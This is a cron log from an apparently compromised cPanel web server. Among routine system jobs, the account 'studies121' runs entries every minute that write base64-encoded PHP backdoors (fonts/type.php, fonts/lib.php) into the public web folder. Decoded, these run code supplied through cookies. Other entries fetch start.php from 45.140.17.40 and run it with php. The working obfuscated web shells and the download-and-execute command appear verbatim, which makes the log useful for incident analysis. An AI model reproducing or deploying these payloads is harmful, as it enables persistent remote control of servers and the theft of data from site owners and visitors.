Sep  2 22:56:01 ip-184-168-122-23 CROND[25638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:56:01 ip-184-168-122-23 CROND[25641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:56:01 ip-184-168-122-23 CROND[25642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:56:01 ip-184-168-122-23 CROND[25643]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:57:01 ip-184-168-122-23 CROND[25725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:57:01 ip-184-168-122-23 CROND[25726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:57:01 ip-184-168-122-23 CROND[25728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:57:01 ip-184-168-122-23 CROND[25727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:58:01 ip-184-168-122-23 CROND[25804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 22:58:01 ip-184-168-122-23 CROND[25809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:58:01 ip-184-168-122-23 CROND[25808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:58:01 ip-184-168-122-23 CROND[25806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 22:58:01 ip-184-168-122-23 CROND[25807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:59:01 ip-184-168-122-23 CROND[25921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 22:59:01 ip-184-168-122-23 CROND[25923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 22:59:01 ip-184-168-122-23 CROND[25924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 22:59:01 ip-184-168-122-23 CROND[25925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:00:01 ip-184-168-122-23 CROND[26014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 23:00:01 ip-184-168-122-23 CROND[26017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:00:01 ip-184-168-122-23 CROND[26019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:00:01 ip-184-168-122-23 CROND[26020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:00:01 ip-184-168-122-23 CROND[26022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:00:01 ip-184-168-122-23 CROND[26025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:00:01 ip-184-168-122-23 CROND[26027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:00:01 ip-184-168-122-23 CROND[26026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:01:01 ip-184-168-122-23 CROND[26117]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 23:01:01 ip-184-168-122-23 CROND[26118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:01:01 ip-184-168-122-23 CROND[26121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:01:01 ip-184-168-122-23 CROND[26119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:01:01 ip-184-168-122-23 CROND[26120]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 23:01:01 ip-184-168-122-23 CROND[26123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26117]: starting 0anacron
Sep  2 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26138]: finished 0anacron
Sep  2 23:02:01 ip-184-168-122-23 CROND[26216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:02:01 ip-184-168-122-23 CROND[26217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:02:01 ip-184-168-122-23 CROND[26219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:02:01 ip-184-168-122-23 CROND[26221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:02:01 ip-184-168-122-23 CROND[26220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:03:01 ip-184-168-122-23 CROND[26299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:03:01 ip-184-168-122-23 CROND[26300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:03:01 ip-184-168-122-23 CROND[26303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:03:01 ip-184-168-122-23 CROND[26307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:04:01 ip-184-168-122-23 CROND[26469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:04:01 ip-184-168-122-23 CROND[26471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:04:01 ip-184-168-122-23 CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:04:01 ip-184-168-122-23 CROND[26473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:04:01 ip-184-168-122-23 CROND[26474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:05:01 ip-184-168-122-23 CROND[26562]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 23:05:01 ip-184-168-122-23 CROND[26564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:05:01 ip-184-168-122-23 CROND[26566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 23:05:01 ip-184-168-122-23 CROND[26567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 23:05:01 ip-184-168-122-23 CROND[26568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:05:01 ip-184-168-122-23 CROND[26569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:05:01 ip-184-168-122-23 CROND[26565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:06:01 ip-184-168-122-23 CROND[26653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:06:01 ip-184-168-122-23 CROND[26652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 23:06:01 ip-184-168-122-23 CROND[26656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:06:01 ip-184-168-122-23 CROND[26657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:06:01 ip-184-168-122-23 CROND[26658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:07:01 ip-184-168-122-23 CROND[26748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 23:07:01 ip-184-168-122-23 CROND[26749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:07:01 ip-184-168-122-23 CROND[26750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 23:07:01 ip-184-168-122-23 CROND[26751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 23:08:01 ip-184-168-122-23 CROND[26831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 23:08:01 ip-184-168-122-23 CROND[26833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
